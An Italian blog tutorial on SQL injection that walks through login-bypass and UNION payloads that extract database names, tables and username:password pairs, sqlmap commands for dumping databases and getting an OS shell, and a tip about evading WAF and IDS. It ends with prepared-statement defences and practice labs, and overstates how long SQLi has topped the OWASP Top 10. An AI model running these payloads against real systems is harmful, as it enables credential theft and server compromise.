← Torna agli articoli

News · 07 January 2026

Sql Injection Basi

SQL Injection: capire e sfruttare la vulnerabilità più classica del web

Introduzione

La SQL Injection (SQLi) è una delle vulnerabilità web più vecchie, più studiate e — incredibilmente — ancora tra le più diffuse. È al primo posto della OWASP Top 10 da decenni.

L’idea di base è semplice: un’applicazione web costruisce query SQL concatenando input dell’utente senza validarlo. L’attaccante inietta codice SQL nell’input per modificare la logica della query.


Come funziona: l’esempio classico

Immagina una pagina di login che fa questa query:

SELECT * FROM users WHERE username='INPUT' AND password='INPUT';

Se l’utente inserisce:

  • username: admin
  • password: password123

La query diventa:

SELECT * FROM users WHERE username='admin' AND password='password123';

Normale. Ma se l’utente inserisce come username:

admin'--

La query diventa:

SELECT * FROM users WHERE username='admin'--' AND password='qualsiasi';

Il -- è un commento in SQL. Tutto quello che viene dopo viene ignorato. La password non viene controllata. Accesso ottenuto come admin.


Tipi di SQL Injection

In-band SQLi

La risposta del database arriva direttamente nella risposta HTTP. Più facile da sfruttare.

Error-based: l’applicazione mostra gli errori SQL — rivelano struttura del database.

UNION-based: usi UNION SELECT per recuperare dati da altre tabelle.

Blind SQLi

L’applicazione non mostra output del database, ma il comportamento cambia in base alla query.

Boolean-based: fai domande vero/falso e osservi il comportamento della pagina.

?id=1 AND 1=1    → pagina normale
?id=1 AND 1=2    → pagina diversa/vuota

Time-based: usi funzioni di sleep per capire se la query è vera o falsa.

?id=1; IF(1=1, SLEEP(5), 0)--    → pagina risponde dopo 5 secondi

Out-of-band SQLi

I dati vengono estratti tramite canali alternativi (DNS, HTTP). Raro ma esiste.


Pratica: SQLi manuale passo per passo

Useremo come esempio DVWA (Damn Vulnerable Web Application) o qualsiasi lab vulnerabile.

Step 1: verifica se è vulnerabile

?id=1'

Se vedi un errore SQL, sei sulla strada giusta. Se la pagina si comporta diversamente con 1' AND 1=1-- vs 1' AND 1=2--, è blind SQLi.

Step 2: trova il numero di colonne (per UNION)

?id=1' ORDER BY 1--    → ok
?id=1' ORDER BY 2--    → ok
?id=1' ORDER BY 3--    → ok
?id=1' ORDER BY 4--    → errore → la tabella ha 3 colonne

Step 3: trova le colonne visualizzate

?id=-1' UNION SELECT NULL,NULL,NULL--
?id=-1' UNION SELECT 1,2,3--

Se la pagina mostra “2” e “3”, quelle sono le colonne in cui puoi iniettare output.

Step 4: estrai informazioni

-- Database corrente
?id=-1' UNION SELECT 1,database(),3--

-- Versione del DBMS
?id=-1' UNION SELECT 1,version(),3--

-- Lista delle tabelle
?id=-1' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--

-- Colonne di una tabella
?id=-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

-- Dati dalla tabella users
?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM users--

SQLMap: automatizzare il tutto

SQLMap è uno strumento che automatizza il rilevamento e lo sfruttamento di SQL injection.

# Installazione
sudo apt install sqlmap

# Scan base su un URL con parametro GET
sqlmap -u "http://target.com/page.php?id=1"

# Con parametro POST (form di login)
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# Con cookie di sessione autenticata
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# Dump del database
sqlmap -u "http://target.com/page.php?id=1" --dbs          # lista DB
sqlmap -u "http://target.com/page.php?id=1" -D mydb --tables  # tabelle
sqlmap -u "http://target.com/page.php?id=1" -D mydb -T users --dump  # dati

# Tentativo di shell sul sistema
sqlmap -u "http://target.com/page.php?id=1" --os-shell

Nota: SQLMap è rumoroso e viene rilevato facilmente da WAF e IDS. Per pentest reali, la SQLi manuale è preferibile per restare sotto il radar.


Difendersi dalla SQL Injection

Prepared Statements (la soluzione corretta)

// VULNERABILE
$query = "SELECT * FROM users WHERE username='" . $_POST['user'] . "'";

// SICURO — Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['user']]);

Con i prepared statement, l’input dell’utente non viene mai interpretato come codice SQL — viene trattato sempre e solo come dato.

Altre misure

  • Validazione input: accetta solo ciò che ti aspetti (solo numeri se aspetti un ID)
  • Principio del minimo privilegio: l’utente del database deve avere solo i permessi strettamente necessari
  • WAF: Web Application Firewall come ModSecurity può bloccare molti payload SQLi
  • Error handling: non mostrare mai errori SQL all’utente finale

Dove esercitarsi

  • DVWA — Damn Vulnerable Web Application (installabile in locale)
  • WebGoat — di OWASP, ottimo per principianti
  • TryHackMe — room “SQL Injection” e “SQLMap”
  • HackTheBox — macchine con vulnerabilità web realistiche
  • PortSwigger Web Security Academy — il miglior corso gratuito su SQLi e web hacking

Conclusione

La SQL Injection è semplice nel concetto ma infinitamente varia nelle implementazioni reali. Database diversi (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) hanno sintassi diverse. Filtri e WAF rendono le cose più complicate. Blind SQLi richiede pazienza e automazione.

Ma la logica di fondo non cambia mai: l’applicazione si fida dell’input dell’utente. Questo è l’errore fondamentale.